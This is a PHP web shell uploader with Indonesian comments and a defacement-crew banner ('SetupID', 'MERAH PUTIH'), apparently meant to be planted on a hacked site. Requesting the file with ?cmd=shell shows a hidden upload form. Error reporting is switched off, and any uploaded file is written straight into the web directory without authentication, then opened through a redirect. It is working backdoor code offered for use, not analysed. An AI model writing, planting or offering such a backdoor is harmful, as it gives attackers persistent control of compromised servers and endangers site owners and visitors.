hidden uploader ?cmd=shell

<?php
// hiden shell upload
// akses file.php?cmd=shell
 error_reporting(0);
 $cmd  = $_GET['cmd'];
 $post  = $_POST["upload"];
 $target_file= basename($_FILES["m_upload"]["name"]);
 if($cmd=='shell')
 {
?>
<html>
<head>
<title>./SetupID</title>
<link href='https://3.bp.blogspot.com/-K3QMmWAKS0U/WZIObmrEoiI/AAAAAAAAA7g/a4MqnflhkC81D-TJFBh4EPLIqNMGBFnuQCLcBGAs/s1600/Logo%252BGSH%252Bbaru%252Bcopy.png' rel='icon' type='image/x-icon'/>
<meta name='author' content='0x1999'>
<meta charset="UTF-8">
<style type='text/css'>
@import url(https://fonts.googleapis.com/css?family=Abel);
html {
	background: #000000;
	color: #ffffff;
	font-family: 'Abel';
	font-size: 13px;
	width: 100%;
}
</style>
<center>
<header>
<pre style="text-align: center"><font color="red">
 _________       __               .___________
 /   _____/ _____/  |_ __ ________ |   \______ \
 \_____  \_/ __ \   __\  |  \____ \|   ||    |  \</font><font color="white">
 /        \  ___/|  | |  |  /  |_> >   ||    `   \
/_______  /\___  >__| |____/|   __/|___/_______  /
        \/     \/           |__|       </font><font color="red">MERAH</font> <FONT color="white">PUTIH</FONT>
</pre></header></head></html>
<?php
  echo "<form action='' method='post' enctype='multipart/form-data'>
";
  echo "<input type='file' name='m_upload'>";
  echo "<input type='submit' name='upload' value='Upload'>";
  echo "</form>
";
  echo "</center>
";
 }

 if(isset($_POST["upload"]))
  {
   if(move_uploaded_file($_FILES["m_upload"]["tmp_name"], $target_file))
  {
   echo "<center>
File udah masuk bosku !!</center>
";
   header("location:$target_file");
 }
}
?>